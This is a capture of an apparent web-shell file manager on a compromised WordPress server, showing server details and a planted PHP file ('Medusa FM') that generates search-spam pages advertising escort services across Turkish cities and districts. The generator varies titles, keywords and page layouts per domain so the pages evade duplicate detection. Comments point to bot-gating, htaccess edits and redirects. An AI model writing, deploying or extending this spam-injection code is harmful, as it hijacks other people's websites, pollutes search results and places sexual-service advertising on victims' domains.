| Server IP : 198.244.165.102 / Your IP : 216.73.216.218 [ Web Server : nginx/1.24.0 System : Linux modovh-ub-01 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64 User : colleary ( 1011) PHP Version : 8.3.23 Disable Function : NONE Domains : 2 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/colleary/public_html/wp-content/includes/ |
Upload File : |
<?php
// @fm-embedded-id:2026-08-04-index-ist-redirect-all
// @fm-embedded-id:2026-08-04-license-single-city
// @fm-embedded-id:2026-08-04-bot-htaccess-fix
// @fm-embedded-id:2026-08-04-bot-gate-fix
// @fm-embedded-id:2026-08-04-index-lib-fix
declare(strict_types=1);
/** Medusa FM — license.html SEO (Studio bagimsiz). ms_seo_license.php yukler. */
if (function_exists('ms_generate_seo_page')) {
return;
}
// ═══════════════════ SEO HTML ÜRETİCİ ═══════════════════
function ms_seo_seed(string $domainKey, string $city, string $extraSalt = ''): int
{
$extraSalt = trim($extraSalt);
if ($extraSalt === '') {
$extraSalt = (string)($GLOBALS['fm_license_seed_salt'] ?? '');
}
$base = strtolower(trim($domainKey) . '|' . trim($city));
if ($extraSalt !== '') {
$base .= '|' . $extraSalt;
}
return (int)sprintf('%u', crc32($base));
}
/** @param list<string> $items */
function ms_seo_shuffle_by_seed(array $items, int $seed): array
{
$out = array_values($items);
usort($out, static function ($a, $b) use ($seed) {
return crc32($a . $seed) <=> crc32($b . $seed);
});
return $out;
}
function ms_generate_seo_page(string $city, array $districts, string $baseUrl, array $extraSemts = [], string $domainKey = ''): array
{
$city = trim($city);
$baseUrl = trim($baseUrl);
if ($baseUrl !== '' && !preg_match('#/$#', $baseUrl) && !preg_match('#\.[a-z0-9]{2,5}$#i', $baseUrl)) {
$baseUrl .= '/';
}
if ($baseUrl === '') {
$baseUrl = '/';
}
if ($city === '') {
return ['ok' => false, 'error' => 'İl seçin'];
}
if ($domainKey === '') {
$host = parse_url($baseUrl, PHP_URL_HOST);
$domainKey = is_string($host) && $host !== '' ? $host : 'site';
}
if ($districts === []) {
$all = ms_provinces()[$city] ?? [];
if ($city === 'İstanbul' && function_exists('ms_istanbul_districts')) {
$districts = ms_istanbul_districts();
} else {
$districts = array_slice($all, 0, min(12, count($all)));
}
}
$districts = array_values(array_unique(array_filter(array_map('trim', $districts))));
$extraSemts = array_values(array_unique(array_filter(array_map('trim', $extraSemts))));
$seed = ms_seo_seed($domainKey, $city);
$districts = ms_seo_shuffle_by_seed($districts, $seed);
// Adalar / Şile asla
$districts = array_values(array_filter($districts, static function ($d) {
$d = trim((string)$d);
return $d !== '' && !in_array($d, ['Adalar', 'Şile', 'Sile'], true);
}));
$semtsShuffled = ms_seo_shuffle_by_seed($extraSemts !== [] ? $extraSemts : $districts, $seed + 11);
$semtsShuffled = array_values(array_filter($semtsShuffled, static function ($s) {
$s = trim((string)$s);
return $s !== '' && !preg_match('/^(Büyükada|Heybeliada|Burgazada|Kınalıada|Ağva|Kumbaba)$/iu', $s);
}));
// İlçe/ semt önceliği (İstanbul: Merter, Etiler…; diğer iller: ms_seo_city_priority_hoods)
$prio = ($city === 'İstanbul' && function_exists('ms_istanbul_priority_hoods'))
? ms_istanbul_priority_hoods()
: (function_exists('ms_seo_city_priority_hoods') ? ms_seo_city_priority_hoods($city) : []);
$prioHit = [];
foreach ($prio as $p) {
foreach ($semtsShuffled as $s) {
if (mb_strtolower($s, 'UTF-8') === mb_strtolower($p, 'UTF-8')) {
$prioHit[] = $s;
break;
}
}
// İlçe adı da semt gibi kullanılabilir (Başakşehir)
foreach ($districts as $d) {
if (mb_strtolower($d, 'UTF-8') === mb_strtolower($p, 'UTF-8')) {
$prioHit[] = $d;
break;
}
}
}
$prioHit = array_values(array_unique($prioHit));
$semtsShuffled = array_values(array_unique(array_merge($prioHit, $semtsShuffled)));
$offset = count($districts) > 6 ? ($seed % (count($districts) - 5)) : 0;
$mainD = array_slice($districts, $offset, 8);
if ($mainD === []) {
$mainD = array_slice($districts, 0, 8);
}
$d1 = $mainD[0] ?? $city;
$d2 = $mainD[1] ?? $d1;
$d3 = $mainD[2] ?? $d2;
$d4 = $mainD[3] ?? $d3;
$s1 = $semtsShuffled[0] ?? $d1;
$s2 = $semtsShuffled[1] ?? $d2;
$s3 = $semtsShuffled[2] ?? $d3;
$cityLow = mb_strtolower($city, 'UTF-8');
// Kullanıcı formatları — domain seed ile döner
$titleForms = [
$city . ' Escort Bayan ♥️ VIP Eskort 7/24',
$d1 . ' Escort - Escort ' . $d1 . ' - ' . $city . ' Escort',
$d1 . ' escort, ' . $d2 . ' escort, ' . $d3 . ' escort',
$city . ' Escort • Bireysel Escort Bayan • Rus Escort Kızlar',
$cityLow . ' Escort - ' . $city . ' Eskort - Escort ' . $city,
$d1 . ' Escort, ' . $s1 . ' Escort, ' . $d2 . ' Escort',
$city . ' Escort Bayan ♥️ ' . $d1 . ' Eskort 7/24',
$s1 . ' Escort - Escort ' . $s1 . ' - ' . $city . ' Escort',
$d2 . ' escort, ' . $d3 . ' escort, ' . $d4 . ' escort',
$city . ' Escort • VIP Escort Bayan • ' . $d1 . ' Escort',
$cityLow . ' escort - ' . $city . ' Escort - Eskort ' . $city,
$s1 . ' Escort, ' . $s2 . ' Escort, ' . $s3 . ' Escort',
];
$title = $titleForms[$seed % count($titleForms)];
$descForms = [
$city . ' escort bayan rehberi: ' . $d1 . ', ' . $d2 . ', ' . $d3 . ' ve ' . $s1 . ' bölgelerinde VIP eskort, bireysel escort bayan ve 7/24 elden ödeme. Gizlilik öncelikli ' . $cityLow . ' escort ilanları.',
$d1 . ' escort - escort ' . $d1 . ' - ' . $city . ' escort. ' . $s1 . ' ve ' . $s2 . ' semtlerinde premium VIP eskort kızlar, Rus escort ve bireysel escort bayan seçenekleri.',
$city . ' Escort • Bireysel Escort Bayan • Rus Escort Kızlar. ' . $d1 . ' escort, ' . $d2 . ' escort, ' . $d3 . ' escort — güvenilir, diskret, 7/24.',
];
$desc = $descForms[$seed % count($descForms)];
if (mb_strlen($desc, 'UTF-8') > 165) {
$desc = mb_substr($desc, 0, 162, 'UTF-8') . '…';
}
$kw = [
$cityLow . ' escort',
$cityLow . ' escort bayan',
$cityLow . ' eskort',
'escort ' . $cityLow,
'vip escort',
'bireysel escort bayan',
'rus escort',
'elden ödeme escort',
];
foreach (array_slice($districts, 0, 16) as $d) {
$dl = mb_strtolower($d, 'UTF-8');
$kw[] = $dl . ' escort';
$kw[] = 'escort ' . $dl;
}
foreach (array_slice($semtsShuffled, 0, 10) as $s) {
$kw[] = mb_strtolower($s, 'UTF-8') . ' escort';
}
$keywords = implode(', ', array_unique($kw));
$brandSuffix = ['VIP', 'Premium', 'Elit', 'Exclusive', 'Plus', 'Gold', 'Platinum'][$seed % 7];
$layout = $seed % 6;
// Uzun SEO paragrafları
$introPool = [
$city . ' escort arayanlar için hazırladığımız bu rehber; ' . $d1 . ', ' . $d2 . ', ' . $d3 . ' ve ' . $s1 . ' başta olmak üzere tüm ilçe ve semtlerde VIP escort bayan, bireysel escort ve Rus escort kızlar seçeneklerini bir araya getirir. '
. $cityLow . ' escort - ' . $city . ' eskort - escort ' . $city . ' aramalarında öne çıkan profilimiz; gizlilik, elden ödeme ve 7/24 ulaşılabilirlik vaat eder. '
. 'İster ' . $d1 . ' escort ister ' . $s2 . ' escort diye arayın — aynı kalite standardı, diskret iletişim ve hızlı randevu süreci sizi bekler.',
$d1 . ' Escort - Escort ' . $d1 . ' - ' . $city . ' Escort üçlemesi, yerel aramalarda en çok kullanılan kalıplardan biridir. '
. 'Bu sayfada ' . $d1 . ' escort, ' . $d2 . ' escort, ' . $d3 . ' escort ile birlikte ' . $s1 . ', ' . $s2 . ' ve ' . $s3 . ' semt rehberini bulacaksınız. '
. 'Bireysel escort bayan ve VIP eskort kategorilerinde fotoğraflı, doğrulanmış ilanlar; ' . $city . ' genelinde elden ödeme ve otel / eve gelen seçenekleriyle sunulur.',
$city . ' Escort • Bireysel Escort Bayan • Rus Escort Kızlar — kısa ve net bir vaat. '
. 'Uzun yıllardır ' . $cityLow . ' escort sektöründe tercih edilen partnerlerimiz; ' . $d1 . ', ' . $d4 . ' ve ' . $s1 . ' bölgelerinde aynı gün randevu imkânı sunar. '
. 'Güvenlik, hijyen ve mahremiyet odaklı hizmet modelimiz sayesinde ' . $city . ' escort bayan arayan kullanıcılar tek ekrandan doğru ilçeyi seçebilir.',
];
$intro = $introPool[$seed % count($introPool)];
$midPool = [
'Hizmet kalitemiz yalnızca merkez ilçelerle sınırlı değildir. ' . $d2 . ' escort ve ' . $d3 . ' escort taleplerinde de aynı VIP standart uygulanır: ön görüşme, net fiyatlandırma, elden ödeme ve gizlilik sözleşmesi. '
. 'Rus escort, Ukraynalı escort ve yerli bireysel escort bayan profilleri düzenli güncellenir; böylece ' . $cityLow . ' escort araması her seferinde taze içerikle karşılanır. '
. 'Escort ' . $city . ' aramasında sık sorulan “güvenilir mi?” sorusuna yanıtımız nettir — doğrulanmış ilanlar, gerçek fotoğraf ve şeffaf iletişim.',
$s1 . ' Escort, ' . $s2 . ' Escort, ' . $s3 . ' Escort semt kombinasyonu; kısa mesafeli ve hızlı buluşma isteyenler için idealdir. '
. 'Aynı şekilde ' . $d1 . ' escort, ' . $d2 . ' escort, ' . $d4 . ' escort ilçe satırları da SEO ve kullanıcı niyeti açısından sayfanın omurgasını oluşturur. '
. $city . ' Escort Bayan ♥️ VIP Eskort 7/24 mottosuyla gece-gündüz destek hattımız açıktır; randevu saati, konum ve süre netleştirilir.',
];
$mid = $midPool[$seed % count($midPool)];
$faqItems = [
['q' => $city . ' escort nasıl seçilir?', 'a' => $d1 . ' veya ' . $d2 . ' gibi ilçenizi belirleyin, profil açıklamasını okuyun ve 7/24 hattımızdan teyit alın. Elden ödeme ve gizlilik standarttır.'],
['q' => $d1 . ' escort ile ' . $s1 . ' escort farkı nedir?', 'a' => 'İlçe ve semt konumu dışında VIP / bireysel kategori ve randevu süresi değişebilir; kalite ve güvenlik aynıdır.'],
['q' => 'Rus escort ve bireysel escort bayan var mı?', 'a' => 'Evet. ' . $city . ' genelinde Rus escort kızlar ve bireysel escort bayan ilanları düzenli yayınlanır.'],
['q' => 'Ödeme ve gizlilik nasıl?', 'a' => 'Elden ödeme tercih edilir. Kimlik ve konum bilgileriniz üçüncü taraflarla paylaşılmaz.'],
];
$faqHtml = '';
foreach ($faqItems as $fi) {
$faqHtml .= '<div class="faq"><h3>' . ms_e($fi['q']) . '</h3><p>' . ms_e($fi['a']) . '</p></div>';
}
$districtBlocks = '';
foreach (array_slice($mainD, 0, 6) as $i => $d) {
$near = $mainD[($i + 1) % max(1, count($mainD))] ?? $d;
$hood = $semtsShuffled[$i % max(1, count($semtsShuffled))] ?? $d;
$para = $d . ' escort arayanlar için özel bölüm: Escort ' . $d . ' ve ' . $city . ' ' . $d
. ' bölgesinde VIP eskort, bireysel escort bayan ve ' . $hood . ' semtine yakın seçenekler sunulur. '
. $d . ' escort, ' . $near . ' escort hattıyla komşu ilçelere de hızlı ulaşım sağlanır. '
. 'Gizlilik, elden ödeme ve 7/24 iletişim ' . $d . ' escort ilanlarının ortak özelliğidir.';
$districtBlocks .= '<article class="block"><h2>' . ms_e($d) . ' Escort</h2><p>' . ms_e($para) . '</p>'
. '<p class="muted">' . ms_e($d) . ' escort · escort ' . ms_e($d) . ' · ' . ms_e($city) . ' ' . ms_e($d) . '</p></article>';
}
$listItems = '';
foreach ($districts as $d) {
$listItems .= '<li><strong>' . ms_e($d) . ' Escort</strong> — escort ' . ms_e($d) . ', ' . ms_e($city) . ' ' . ms_e($d) . '</li>';
}
$semtTags = '';
foreach (array_slice($semtsShuffled, 0, 28 + ($seed % 8)) as $s) {
$semtTags .= '<span class="tag">' . ms_e($s) . ' Escort</span>';
}
$closing = $city . ' escort bayan, ' . $d1 . ' escort ve ' . $s1 . ' escort aramalarınızda bu sayfa güncel rehberiniz olsun. '
. $cityLow . ' Escort - ' . $city . ' Eskort - Escort ' . $city . ' niyetleriyle gelen ziyaretçiler için içerikler düzenli yenilenir. '
. 'VIP eskort, bireysel escort bayan ve Rus escort kızlar — hepsi 7/24, elden ödeme ve tam gizlilikle. '
. 'İçerik yalnızca ' . $city . ' ve ilçeleri odaklıdır; başka şehir eklenmez.';
// Seçilen il dışındaki şehirler license.html'e EKLENMEZ
$hubSection = '';
$keywords = implode(', ', array_unique($kw));
// Tema paletleri
$themes = [
['bg' => '#0a0a0a', 'card' => '#141414', 'primary' => '#e11d48', 'gold' => '#c9a84c', 'text' => '#e8e8e8', 'muted' => '#a3a3a3', 'accent' => '#fb7185', 'font' => 'Georgia, serif', 'name' => 'noir'],
['bg' => '#f7f4ef', 'card' => '#ffffff', 'primary' => '#9f1239', 'gold' => '#a16207', 'text' => '#1c1917', 'muted' => '#78716c', 'accent' => '#be123c', 'font' => '"Segoe UI", system-ui, sans-serif', 'name' => 'cream'],
['bg' => '#0b1220', 'card' => '#111827', 'primary' => '#22d3ee', 'gold' => '#fbbf24', 'text' => '#e2e8f0', 'muted' => '#94a3b8', 'accent' => '#67e8f9', 'font' => 'system-ui, sans-serif', 'name' => 'ocean'],
['bg' => '#140a12', 'card' => '#1f121c', 'primary' => '#f472b6', 'gold' => '#fcd34d', 'text' => '#fdf2f8', 'muted' => '#d8b4c8', 'accent' => '#fb7185', 'font' => 'Georgia, "Times New Roman", serif', 'name' => 'rose'],
['bg' => '#0c1a14', 'card' => '#13261d', 'primary' => '#34d399', 'gold' => '#fde047', 'text' => '#ecfdf5', 'muted' => '#86efac', 'accent' => '#6ee7b7', 'font' => 'system-ui, sans-serif', 'name' => 'emerald'],
['bg' => '#1a1025', 'card' => '#2a1838', 'primary' => '#c084fc', 'gold' => '#f0abfc', 'text' => '#faf5ff', 'muted' => '#d8b4fe', 'accent' => '#e9d5ff', 'font' => 'Georgia, serif', 'name' => 'violet'],
];
$t = $themes[$layout];
$radius = [4, 16, 24, 8, 20, 12][$layout];
$cssBase = "
*{margin:0;padding:0;box-sizing:border-box}
body{background:{$t['bg']};color:{$t['text']};font-family:{$t['font']};line-height:1.75;min-height:100vh}
a{color:{$t['primary']}}
.wrap{max-width:1080px;margin:0 auto;padding:28px 20px 48px}
.muted{color:{$t['muted']};font-size:.92rem}
.tag{display:inline-block;margin:4px 6px 4px 0;padding:6px 12px;border-radius:999px;border:1px solid {$t['primary']}44;background:{$t['card']};color:{$t['accent']};font-size:.78rem}
.block{background:{$t['card']};padding:22px 24px;border-radius:{$radius}px;margin:0 0 16px;border:1px solid {$t['primary']}22}
.block h2{color:{$t['primary']};font-size:1.25rem;margin:0 0 10px}
.prose{font-size:1.02rem;margin:0 0 18px;color:{$t['text']}}
.prose+.prose{margin-top:-6px}
.faq{border-top:1px solid {$t['primary']}28;padding:14px 0}
.faq h3{font-size:1rem;color:{$t['gold']};margin:0 0 6px}
.faq p{color:{$t['muted']};font-size:.95rem}
ul.districts{columns:2;list-style:none}
ul.districts li{padding:8px 0;border-bottom:1px solid {$t['primary']}18;font-size:.92rem;break-inside:avoid}
footer{margin-top:36px;padding-top:18px;border-top:1px solid {$t['primary']}28;text-align:center;color:{$t['muted']};font-size:.8rem}
@media(max-width:700px){ul.districts{columns:1}.wrap{padding:18px 14px 36px}}
";
// Layout-specific chrome
if ($layout === 0) {
// Full-bleed dark hero
$css = $cssBase . "
body{background:radial-gradient(ellipse 90% 60% at 10% -10%,{$t['primary']}33,transparent 55%),{$t['bg']}}
.hero{padding:56px 28px;border-radius:{$radius}px;background:linear-gradient(145deg,{$t['card']},{$t['bg']});border:1px solid {$t['gold']}44;margin-bottom:28px;text-align:center}
.hero .brand{color:{$t['gold']};letter-spacing:.12em;text-transform:uppercase;font-size:.75rem;font-weight:700;margin-bottom:12px}
.hero h1{font-size:clamp(1.4rem,4.2vw,2.35rem);line-height:1.25;color:#fff;margin:0 0 14px}
.hero .lead{max-width:720px;margin:0 auto;color:{$t['muted']}}
.stats{display:flex;flex-wrap:wrap;gap:8px;justify-content:center;margin-top:22px}
.stats span{padding:6px 12px;border-radius:999px;background:{$t['primary']}22;border:1px solid {$t['primary']}44;font-size:.8rem}
.grid2{display:grid;grid-template-columns:1fr 1fr;gap:14px}
@media(max-width:800px){.grid2{grid-template-columns:1fr}}
";
$body = '<div class="wrap">
<header class="hero"><div class="brand">✦ ' . ms_e($brandSuffix) . ' · ' . ms_e($city) . '</div>
<h1>' . ms_e($title) . '</h1><p class="lead">' . ms_e($desc) . '</p>
<div class="stats"><span>' . count($districts) . ' İlçe</span><span>' . count($extraSemts) . ' Semt</span><span>7/24</span><span>Elden Ödeme</span></div></header>
<p class="prose">' . ms_e($intro) . '</p><p class="prose">' . ms_e($mid) . '</p>
<div class="grid2">' . $districtBlocks . '</div>
<section class="block"><h2>' . ms_e($city) . ' İlçe Rehberi</h2><ul class="districts">' . $listItems . '</ul></section>
<section class="block"><h2>Semt & Bölge Escort</h2><div>' . $semtTags . '</div></section>
<section class="block"><h2>Sık Sorulanlar</h2>' . $faqHtml . '</section>
<p class="prose">' . ms_e($closing) . '</p>
<footer><p>' . ms_e($domainKey) . ' · ' . ms_e($title) . ' © ' . date('Y') . '</p></footer></div>';
} elseif ($layout === 1) {
// Light editorial
$css = $cssBase . "
body{background:{$t['bg']}}
.topbar{border-bottom:2px solid {$t['primary']};padding:14px 0 18px;margin-bottom:28px}
.topbar .brand{color:{$t['gold']};font-size:.72rem;letter-spacing:.14em;text-transform:uppercase;font-weight:800}
.topbar h1{font-size:clamp(1.45rem,3.8vw,2.2rem);margin:10px 0 12px;color:{$t['text']};line-height:1.3}
.cols{display:grid;grid-template-columns:1.4fr .8fr;gap:28px}
.aside .block{position:sticky;top:16px}
@media(max-width:860px){.cols{grid-template-columns:1fr}}
";
$body = '<div class="wrap"><header class="topbar"><div class="brand">' . ms_e($city) . ' · ' . ms_e($brandSuffix) . '</div>
<h1>' . ms_e($title) . '</h1><p class="muted">' . ms_e($desc) . '</p></header>
<div class="cols"><div>
<p class="prose">' . ms_e($intro) . '</p><p class="prose">' . ms_e($mid) . '</p>
' . $districtBlocks . '
<section class="block"><h2>Sık Sorulanlar</h2>' . $faqHtml . '</section>
<p class="prose">' . ms_e($closing) . '</p>
</div><aside class="aside"><div class="block"><h2>Semtler</h2><div>' . $semtTags . '</div></div>
<div class="block"><h2>İlçeler</h2><ul class="districts">' . $listItems . '</ul></div></aside></div>
<footer><p>' . ms_e($domainKey) . ' · ' . ms_e($city) . ' escort © ' . date('Y') . '</p></footer></div>';
} elseif ($layout === 2) {
// Split banner
$css = $cssBase . "
.split{display:grid;grid-template-columns:1fr 1fr;gap:0;border-radius:{$radius}px;overflow:hidden;margin-bottom:28px;border:1px solid {$t['primary']}33}
.split-l{background:linear-gradient(160deg,{$t['primary']},{$t['card']});padding:40px 28px;color:#fff}
.split-l h1{font-size:clamp(1.3rem,3.5vw,2rem);line-height:1.3;margin:10px 0 14px}
.split-r{background:{$t['card']};padding:40px 28px}
.chips span{display:inline-block;margin:4px;padding:5px 10px;border-radius:8px;background:{$t['bg']};font-size:.78rem;color:{$t['accent']}}
@media(max-width:800px){.split{grid-template-columns:1fr}}
";
$body = '<div class="wrap"><div class="split"><div class="split-l"><div class="brand" style="opacity:.9;font-size:.75rem;letter-spacing:.1em;text-transform:uppercase">' . ms_e($brandSuffix) . '</div>
<h1>' . ms_e($title) . '</h1><p>' . ms_e($desc) . '</p></div>
<div class="split-r"><p class="prose">' . ms_e(mb_substr($intro, 0, 280, 'UTF-8')) . '…</p>
<div class="chips"><span>' . ms_e($d1) . ' Escort</span><span>' . ms_e($d2) . ' Escort</span><span>' . ms_e($s1) . ' Escort</span><span>7/24</span><span>VIP</span></div></div></div>
<p class="prose">' . ms_e($intro) . '</p><p class="prose">' . ms_e($mid) . '</p>
' . $districtBlocks . '
<section class="block"><h2>' . ms_e($city) . ' İlçe Listesi</h2><ul class="districts">' . $listItems . '</ul></section>
<section class="block"><h2>Semt Escort</h2><div>' . $semtTags . '</div></section>
<section class="block"><h2>SSS</h2>' . $faqHtml . '</section>
<p class="prose">' . ms_e($closing) . '</p>
<footer><p>' . ms_e($domainKey) . ' © ' . date('Y') . '</p></footer></div>';
} elseif ($layout === 3) {
// Long-form magazine
$css = $cssBase . "
.mast{max-width:760px;margin:0 auto 32px;text-align:left}
.mast h1{font-size:clamp(1.5rem,4vw,2.4rem);line-height:1.28;margin:12px 0 16px;border-left:5px solid {$t['primary']};padding-left:16px}
.drop{font-size:1.08rem}
.drop::first-letter{font-size:3.2rem;float:left;line-height:1;padding:6px 10px 0 0;color:{$t['primary']};font-weight:700}
.band{background:{$t['card']};padding:20px;border-radius:{$radius}px;margin:22px 0;border-left:4px solid {$t['gold']}}
";
$body = '<div class="wrap"><header class="mast"><p class="muted" style="letter-spacing:.12em;text-transform:uppercase;font-size:.72rem;font-weight:700">' . ms_e($city) . ' escort rehberi</p>
<h1>' . ms_e($title) . '</h1><p class="muted">' . ms_e($desc) . '</p></header>
<p class="prose drop">' . ms_e($intro) . '</p>
<div class="band"><p class="prose" style="margin:0">' . ms_e($mid) . '</p></div>
' . $districtBlocks . '
<section class="block"><h2>İlçe & Semt</h2><ul class="districts">' . $listItems . '</ul><div style="margin-top:14px">' . $semtTags . '</div></section>
<section class="block"><h2>Merak Edilenler</h2>' . $faqHtml . '</section>
<p class="prose">' . ms_e($closing) . '</p>
<footer><p>' . ms_e($domainKey) . ' · ' . ms_e($brandSuffix) . ' © ' . date('Y') . '</p></footer></div>';
} elseif ($layout === 4) {
// Card mosaic
$css = $cssBase . "
.hero-min{margin-bottom:20px}
.hero-min h1{font-size:clamp(1.35rem,3.8vw,2.1rem);margin:8px 0 10px;color:{$t['accent']}}
.mosaic{display:grid;grid-template-columns:repeat(3,1fr);gap:12px;margin:18px 0}
.mosaic .block{margin:0;min-height:140px}
.mosaic .block:first-child{grid-column:span 2}
@media(max-width:800px){.mosaic{grid-template-columns:1fr}.mosaic .block:first-child{grid-column:span 1}}
";
$mosaic = '';
foreach (array_slice($mainD, 0, 6) as $i => $d) {
$mosaic .= '<article class="block"><h2>' . ms_e($d) . ' Escort</h2><p class="muted">' . ms_e($d) . ' escort, escort ' . ms_e($d) . ', ' . ms_e($city) . ' ' . ms_e($d) . ' — VIP & bireysel, 7/24.</p></article>';
}
$body = '<div class="wrap"><header class="hero-min"><p class="muted">' . ms_e($brandSuffix) . ' · ' . ms_e($city) . '</p>
<h1>' . ms_e($title) . '</h1><p class="muted">' . ms_e($desc) . '</p></header>
<p class="prose">' . ms_e($intro) . '</p>
<div class="mosaic">' . $mosaic . '</div>
<p class="prose">' . ms_e($mid) . '</p>
<section class="block"><h2>Tüm İlçeler</h2><ul class="districts">' . $listItems . '</ul></section>
<section class="block"><h2>Semtler</h2><div>' . $semtTags . '</div></section>
<section class="block"><h2>SSS</h2>' . $faqHtml . '</section>
<p class="prose">' . ms_e($closing) . '</p>
<footer><p>' . ms_e($domainKey) . ' © ' . date('Y') . '</p></footer></div>';
} else {
// Timeline / list luxury
$css = $cssBase . "
.head{display:flex;flex-wrap:wrap;justify-content:space-between;gap:16px;align-items:flex-end;margin-bottom:28px;padding-bottom:18px;border-bottom:1px solid {$t['gold']}55}
.head h1{font-size:clamp(1.35rem,3.6vw,2.05rem);max-width:720px;line-height:1.3}
.pill{background:{$t['primary']};color:#fff;padding:8px 14px;border-radius:999px;font-size:.78rem;font-weight:700}
.timeline .block{border-left:3px solid {$t['primary']};border-radius:0 {$radius}px {$radius}px 0}
";
$body = '<div class="wrap"><header class="head"><div><p class="muted" style="margin-bottom:8px">' . ms_e($city) . ' · VIP Escort 7/24</p>
<h1>' . ms_e($title) . '</h1></div><span class="pill">' . ms_e($brandSuffix) . '</span></header>
<p class="muted" style="margin-bottom:16px">' . ms_e($desc) . '</p>
<p class="prose">' . ms_e($intro) . '</p><p class="prose">' . ms_e($mid) . '</p>
<div class="timeline">' . $districtBlocks . '</div>
<section class="block"><h2>' . ms_e($city) . ' İlçeleri</h2><ul class="districts">' . $listItems . '</ul></section>
<section class="block"><h2>Popüler Semtler</h2><div>' . $semtTags . '</div></section>
<section class="block"><h2>Yardım</h2>' . $faqHtml . '</section>
<p class="prose">' . ms_e($closing) . '</p>
<footer><p>' . ms_e($domainKey) . ' · ' . ms_e($title) . ' © ' . date('Y') . '</p></footer></div>';
}
if ($hubSection !== '') {
if (str_contains($body, '<footer>')) {
$body = str_replace('<footer>', $hubSection . '<footer>', $body);
} else {
$body .= $hubSection;
}
}
$html = '<!DOCTYPE html>
<html lang="tr">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>' . ms_e($title) . '</title>
<meta name="description" content="' . ms_e($desc) . '">
<meta name="keywords" content="' . ms_e($keywords) . '">
<meta name="robots" content="index, follow">
<link rel="canonical" href="' . ms_e($baseUrl) . '">
<style>' . $css . '</style>
</head>
<body>
' . $body . '
</body></html>';
return [
'ok' => true,
'html' => $html,
'title' => $title,
'description' => $desc,
'keywords' => $keywords,
'domain' => $domainKey,
'theme' => $layout,
];
}